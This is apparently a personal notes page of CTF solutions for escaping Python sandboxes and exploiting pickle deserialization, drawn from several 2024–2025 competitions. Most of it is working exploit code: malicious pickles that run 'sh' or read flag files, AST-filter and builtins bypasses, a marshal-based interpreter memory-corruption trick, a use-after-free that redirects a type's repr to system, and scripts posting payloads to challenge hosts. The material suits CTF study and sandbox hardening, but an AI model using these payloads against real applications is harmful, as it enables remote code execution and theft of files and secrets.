# 53:S: TYPE_STOPITER
# a9:   TYPE_TUPLE v4
# 28:(: TYPE_TUPLE
# 75:u: TYPE_UNICODE
# 4e:N: TYPE_NONE

# python <= 3.10
tt = b'e3000000000000000000000000000000000000000000000000f30a00000090aa90bb90cc64dd5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000'
# python <= 3.10
tt = b'63000000000000000000000000000000000000000000000000730a00000090aa90bb90cc64dd530028000000002800000000280000000028000000002800000000750b0000002f6170702f6578702e7079750500000064756d6d792900000073020000000401'
# python >= 3.11
#     |type|--------------------|-code location----------|-------string ptr-------|sep|--------------tuple args---------------|------------path-----------------|------func name----|-----func name2------------|-----------i don't know ---------|
tt = b'630000000000000000000000000100000003000000        730a00000090aa90bb90cc64dd53002800000000280000000028000000007300000000750c000000706174682f746f2f66696c65750500000064756d6d79750500000064756d6d792900000073070000008000d8040880447300000000'
tt = tt.replace(b" ", b"")
def i2h(x):
    global b
    return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))

print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()

# You can determine how much padding required here
print("sanity check")
test = magic[id("peko") : id("peko") + 64]
padding = test.find(b"peko")
print("padding:", padding)

target_strs = [
    "import",
    "spawn",
    "process",
    "os",
    "sys",
    "cpython",
    "fork",
    "open",
    "interpreter",
    "ctypes",
    "compile",
    "gc",
    "_" * 2 + "new" + "_" * 2,
]
# Overide array val that has target_strs value
for s in target_strs:
    addr = id(s)
    magic[addr + 48 : addr + 48 + len(s)] = b"a" * len(s)

os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('id')

factorization = lambda x: (1,1)

Python bug to mutate immutable object

dikasih tau lunaroa https://bugs.python.org/issue43838

AST Bypass

uictf 2024 challenge astea

import ast

def safe_import():
  print("Why do you need imports to make tea?")

def safe_call():
  print("Why do you need function calls to make tea?")

class CoolDownTea(ast.NodeTransformer):
  def visit_Call(self, node: ast.Call) -> ast.AST:
    return ast.Call(func=ast.Name(id='safe_call', ctx=ast.Load()), args=[], keywords=[])

  def visit_Import(self, node: ast.AST) -> ast.AST:
    return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))

  def visit_ImportFrom(self, node: ast.ImportFrom) -> ast.AST:
    return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))

  def visit_Assign(self, node: ast.Assign) -> ast.AST:
    return ast.Assign(targets=node.targets, value=ast.Constant(value=0))

  def visit_BinOp(self, node: ast.BinOp) -> ast.AST:
    return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0))

# code = input('Nothing is quite like a cup of tea in the morning: ').splitlines()[0]
with open('solve.py') as f:
  code = f.read()
cup = ast.parse(code)
cup = CoolDownTea().visit(cup)
ast.fix_missing_locations(cup)

exec(compile(cup, '', 'exec'), {'__builtins__': {}}, {'safe_import': safe_import, 'safe_call': safe_call})

solve


for safe_call in [safe_call.__globals__['__builtins__'].breakpoint]: [__builtins__['__import__'] for __builtins__['__import__'] in [safe_import.__globals__['__builtins__'].__import__]];safe_call()
for safe_call.__globals__["ast"].sys.modules["io"].RawIOBase.__class_getitem__ in [safe_call.__globals__["ast"].sys.modules["os"].system]:pass;{eee:=safe_call.__globals__["ast"].sys.modules["io"].RawIOBase};eee["cat flag.txt"];
__builtins__ |= safe_import.__builtins__; [~help for help.__class__.__invert__ in [breakpoint]]

Pickle Eval

UICTF 2024 challenge Push and Pickle

import pickle
import base64
import sys
import pickletools

def check_flag(flag_guess: str):
  """REDACTED FOR PRIVACY"""

cucumber = base64.b64decode(input("Give me your best pickle (base64 encoded) to taste! "))

for opcode, _, _ in pickletools.genops(cucumber):
  if opcode.code == "c" or opcode.code == "\x93":
    print("Eww! I can't eat dill pickles.")
    sys.exit(0)

pickle.loads(cucumber)

Solver

pickle code is b'(S"__import__(\\"os\\").system(\\"sh\\")"\nibuiltins\nexec\n.'

    0: (    MARK
    1: S        STRING     '__import__("os").system("sh")'
   34: i        INST       'builtins exec' (MARK at 0)
   49: .    STOP```

Another

from pickleassem import PickleAssembler

pa = PickleAssembler(proto=4)
pa.push_mark()
pa.util_push('cat chal.py')
pa.build_inst('os', 'system')
payload = pa.assemble()
print(payload)
    payload = b'cos\nsystem\n(S"ls"\ntR.'
    print(pickle.loads(payload))

Pickle RCE with restriction

Event NameINFOBAHN CTF 2025
GitHub URL-
Challenge Namevery safe pickle
Attachments
References

solution 1

misc/very safe pickle [Unintended solution]

import pickle
import requests

URL = "<http://localhost:8000>"

pkl_int = lambda s: pickle.INT + b"%r\n" % s
pkl_str = lambda s: pickle.STRING + b"%r\n" % s
pkl_import = lambda module, attr: pkl_str(module) + pkl_str(attr) + pickle.STACK_GLOBAL

data = b""

# Force python impl
data += pkl_import("tracemalloc", "pickle")
data += pickle.EMPTY_DICT
data += pkl_str("loads")
data += pkl_import("pickle", "_loads")
data += pickle.SETITEM
data += pickle.BUILD

# Assign '~' to be REDUCE
data += pkl_import("sys", "modules")
data += pkl_str("tmp")
data += pkl_import("pickle", "_Unpickler")
data += pickle.SETITEM

data += pkl_import("tmp", "dispatch")
data += pkl_int(ord('~'))
data += pkl_import("tmp", "load_reduce")
data += pickle.SETITEM

data = data.replace(b"o", b"\\x6f").replace(b"i", b"\\x69")
requests.post(URL, data=data + pickle.STOP)


data = b""
data += pkl_import("builtins", "eval")
data += pkl_str("open('/flag.txt').read()")
data += pickle.TUPLE1
data += b"~"  # The new REDUCE instruction

data = data.replace(b"o", b"\\x6f").replace(b"i", b"\\x69")
print(requests.post(URL, data=data + pickle.STOP).text)
solution 2

very safe pickle [Misc] Unintended solution

#!/usr/bin/env python3
import pickle, pickletools, requests

s = requests.Session()

def esc(s: bytes) -> bytes:
    # turn b"os" -> b"\\u006f\\u0073" etc (no raw 'i', 'o', 'R', 0x81, 0x82)
    return b"".join([("\\u00" + hex(i).replace("0x", "")).encode() for i in s])

# --- part 1: os.environ["BROWSER"] = '/bin/sh -c "touch /tmp/pwned" #%s' ---

os_mod      = esc(b"os")
environ_att = esc(b"environ")

BROWSER = esc(b"BROWSER")
COMMAND = esc(b"/bin/sh -c 'echo ZWNobyBGTEFHPSInJChjYXQgL2ZsYWcudHh0KSciID4gdGVzdC5weQ== | base64 -d | sh' #%s")

# --- part 2: import antigravity (via antigravity.__doc__) ---

antigrav_mod = esc(b"antigravity")
doc_att      = esc(b"__doc__")


test_mod = esc(b"test")
flag_att      = esc(b"FLAG")

merged_payload = (
    b"\x80\x04"  # PROTO 4

    # ----- payload1 body -----
    # STACK_GLOBAL(os_mod, environ_att) -> os.environ
    b"V" + os_mod      + b"\n\x94"
    b"V" + environ_att + b"\n\x94"
    b"\x93\x94"  # STACK_GLOBAL + MEMOIZE (memoize environ)

    # push key/value: "BROWSER", COMMAND
    b"V" + BROWSER + b"\n"
    b"V" + COMMAND + b"\n"

    b"s"  # SETITEM -> os.environ["BROWSER"] = COMMAND
    b"\x94" # deleted
    # ----- payload2 body -----
    # STACK_GLOBAL(antigrav_mod, "__doc__") -> antigravity.__doc__
    b"V" + antigrav_mod + b"\n\x94"
    b"V" + doc_att      + b"\n\x94"
    b"\x93\x94"  # STACK_GLOBAL + MEMOIZE

    b"V" + test_mod      + b"\n\x94"
    b"V" + flag_att + b"\n\x94"
    b"\x93\x94"
    b"."  # STOP
)

print(merged_payload)
print("=== Disassembly 1 ===")
#pickletools.dis(merged_payload) # <https://zvektypx.instances.infobahnc.tf>

# 3. Send to the challenge HTTP server
r = s.post("https://<host-id>.instances.infobahnc.tf/", data=merged_payload)
print("Status:", r.status_code)
print("Body:  ", r.content)

solution 3

Misc/Very Safe Pickle

import requests, pickle
import struct

data = b''
data += pickle.PROTO + b'\\x04'
data += pickle.STRING + b'"__ma\\\\x69n__"\\n'
data += pickle.STRING + b'"__d\\\\x69ct__"\\n'
data += pickle.STACK_GLOBAL
data += pickle.STRING + b'"f\\\\x6frb\\\\x69dden"\\n'
data += pickle.BINBYTES + b"\\x00\\x00\\x00\\x00"
data += b""
data += pickle.SETITEM
data += pickle.STOP

URL = "<https://zfxegnmo.instances.infobahnc.tf>"
# URL = "<http://localhost:8000>"
res = requests.post(URL, data=data)
print("Stage 1")
print(res.text)

data = b''
data += pickle.PROTO + b'\\x04'
data += pickle.GLOBAL + b'subprocess\\ncheck_output\\n'
data += pickle.MARK
data += pickle.BINUNICODE + struct.pack('<I', 3) + b'cat'
data += pickle.BINUNICODE + struct.pack('<I', 9) + b'/flag.txt'
data += pickle.LIST
data += pickle.TUPLE1
data += pickle.REDUCE
data += pickle.STOP

res = requests.post(URL, data=data)
print("Stage 2")
print(res.text)
solution 4 (itended)

Very Safe Pickle (Intended)

I've seen a lot of unintended solutions. I'd love to see them all!

import pickle
from struct import pack
import requests

URL = "<https://gddmtwqa.instances.infobahnc.tf/>"


def pklstr(s):
    s = s.encode()
    return pickle.SHORT_BINUNICODE + pack("<B", len(s)) + s

def escape(s):
    return "".join([f"&#{ord(c)};" for c in s])
code = f'open("/flag.txt").read()'

payload = (
    pickle.GLOBAL + b"re\\nenum\\n" + # This can be any thing as long as it's a module inside a module and written in python
    pickle.MARK +
    pklstr("__getattr__") +
    pickle.GLOBAL + b"html\\nunescape\\n" +
    pickle.DICT +
    pickle.BUILD +
    pickle.GLOBAL + f"enum\\n{escape("builtins")}\\n".encode() +
    pklstr("eval") +
    pickle.STACK_GLOBAL +
    pickle.MEMOIZE +

    pickle.GLOBAL + b"ctypes\\n_types\\n" + # This can be any thing as long as it's a module inside a module and written in python
    pickle.MARK +
    pklstr("__getattr__") +
    pickle.BINGET + pack('b', 0) +
    pickle.DICT +
    pickle.BUILD +
    pklstr("types") +
    pickle.GLOBAL + f"enum\\n{escape(code)}\\n".encode() +
    pickle.STACK_GLOBAL +

    pickle.STOP
)

r = requests.post(URL, data=payload)
print(r.text)

get rce if `__subclasses__` is blocked

idekctf 2024 web/crator

open is from specially crafted function

unitended solution

import httpx
import asyncio
import html

URL = "http://localhost:1337"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url, follow_redirects=True)
    def register(self, username, password):
        return self.c.post("/register", data=dict(
            username=username,
            password=password
        ))
    def login(self, username, password):
        return self.c.post("/login", data=dict(
            username=username,
            password=password
        ))
    def submit(self, id, code):
        return self.c.post(f"/submit/{id}", data=dict(
            code=code
        ))

class API(BaseAPI):
    ...

async def main():
    api = API()
    creds = "foobar"
    await api.register(creds, creds)
    await api.login(creds, creds)

    res = await api.submit("helloinput", """
open = open.__closure__[0].cell_contents
io = open.__self__
io.__spec__.name = 'sys'
sys = io.__loader__.create_module(io.__spec__)
io.__loader__.exec_module(io)

sys.modules['os'].system('cat /tmp/*.expected | grep "idek"')
""")
    print(html.unescape(res.text))

if __name__ == "__main__":
    asyncio.run(main())

another solution

I used open("/etc/passwd").buffer.raw.__class__("/tmp/2.expected", "r") to create a FileIO object and same for writing the flag to some other location, which I could print and read from web interface


Solution using PWN stuff to bypass the sandbox

import httpx
import asyncio
import html

URL = "http://localhost:1337"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url, follow_redirects=True)
    def register(self, username, password):
        return self.c.post("/register", data=dict(
            username=username,
            password=password
        ))
    def login(self, username, password):
        return self.c.post("/login", data=dict(
            username=username,
            password=password
        ))
    def submit(self, id, code):
        return self.c.post(f"/submit/{id}", data=dict(
            code=code
        ))

class API(BaseAPI):
    ...

async def main():
    api = API()
    creds = "foobar"
    await api.register(creds, creds)
    await api.login(creds, creds)

    res = await api.submit("helloinput", """
def __index__(self):
    global memory
    uaf.clear()
    memory = bytearray()
    uaf.extend([0] * 56)
    return 1

UAF = ().__class__.__class__('UAF', (), {
    '__index__': __index__
})

uaf = bytearray(56)
uaf[23] = UAF()

print(id(0))
def p64(value):
    return bytes([(value >> (i * 8)) & 0xFF for i in range(8)])


wow = ().__class__.__class__("wow", (), {})
print(wow)

system_addr = id(0) - 0x653b58

sys = p64(system_addr)
command = b"id".ljust(8,b"\\x00")
command = chr(command[0]-2).encode()+command[1::]
for x in range(8):
    memory[id(wow) + 24 + 14*8 + x] = sys[x] # Overwriting tp_repr


fake = wow()

for x in range(len(command)):
     memory[id(fake) + x] = command[x] # Overwriting ob_refcnt
input("...")
print(fake)
""")
    print(html.unescape(res.text))

if __name__ == "__main__":
    asyncio.run(main())

if forloop blacklisted we can use lambda generator like this

Image
>>> (lambda**x:(lambda x,y:x)(*x.popitem()))(sesuatu=None)
'sesuatu'

Pickle documentation by legoclones

I tried looking for memory corruption bugs that would allow RCE even with sanitized find_class(), but only found some low impact memory leaks 😦

I've spent a lot of my time looking for discrepancies between the C unpickler and python unpickler and have found a lot, leading to 15 different root causes and therefore 15 bugs to fix but changing stuff in python source code can take forever

Something py jail

#!/usr/local/bin/python3 -u
import json
import builtins

def choose_cell():
    print("Choose your cell")
    while True:
        inp = input('> ')
        if hasattr(builtins,inp):
            return inp
        print("I don't think that cell would hold you")

def choose_inmate(ok):
    print("Choose your inmate")
    while True:
        inp = input('> ')
        if hasattr(type(ok),inp):
            return inp
        print("No that inmate is in solitary")

def name_registration():
    print("What is your name?")
    while True:
        inp = input('> ')
        try:
            return json.loads(inp)
        except: pass
        print("Is that an alias or...")

def checkin():
    print("How are you doing?")
    allowed = set('~(0)|<')
    while True:
        inp = input('> ')
        if set(inp) <= allowed:
            try:
                print(inp)
                return eval(inp)
            except:
                print('Wow must be rough')
        else:
            print('This may be the wrong jail for you.')

def main():
    print("Welcome to the OK Jail!")
    print("Let's hope you won't be staying long...\n")
    
    ok = checkin()
    name = name_registration()
    inmate = choose_inmate(ok)
    cell = choose_cell()

    jail = f'builtins.{cell}(ok.{inmate}(*{name}))'
    print(jail)
    try:
        eval(jail)
    except:
        print("JAILBREAK DETECTED")
    
    
if __name__ == "__main__":
    main()
from pwn import *
import json

def generate_expression(target):
    """Generates an expression using (~0<0), <<, and | to obtain the target number."""
    base = "(~0<0)"  # Equivalent to 1
    expr = ""
    
    binary = bin(target)[2:]  # Convert target number to binary
    expr_parts = []  # Store individual bitwise shifts
    
    for i, bit in enumerate(reversed(binary)):  # Process bits from LSB to MSB
        if bit == "1":
            if i == 0:
                expr_parts.append(base)  # 1
            else:
                shift_expr = base  # Start with 1
                for _ in range(i):  # Apply left shifts
                    shift_expr = f"({shift_expr}<<{base})"
                expr_parts.append(shift_expr)
    
    expr = "|".join(expr_parts)  # Join with bitwise OR
    return expr

# Example Usage:
string = "breakpoint()"
utf8_bytes = list(string.encode('utf-8'))

# Convert the UTF-8 byte representation into an integer
packed_integer = int.from_bytes(utf8_bytes, byteorder='big')
target_number = packed_integer  # Change this to any number you want
expression = generate_expression(target_number)

io = remote('chal.bearcatctf.io', 35707)
# io = process(['python3', 'jail.py'])

io.sendline(expression)

io.sendline('['+str(len(string))+',"big"]')
io.sendline(b'to_bytes')
io.sendline(b'eval')
io.sendline(b'import os;os.system("sh")')

io.interactive()

Pickle jail idea

CyberSpace CTF 2024 - repickle (jail)

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.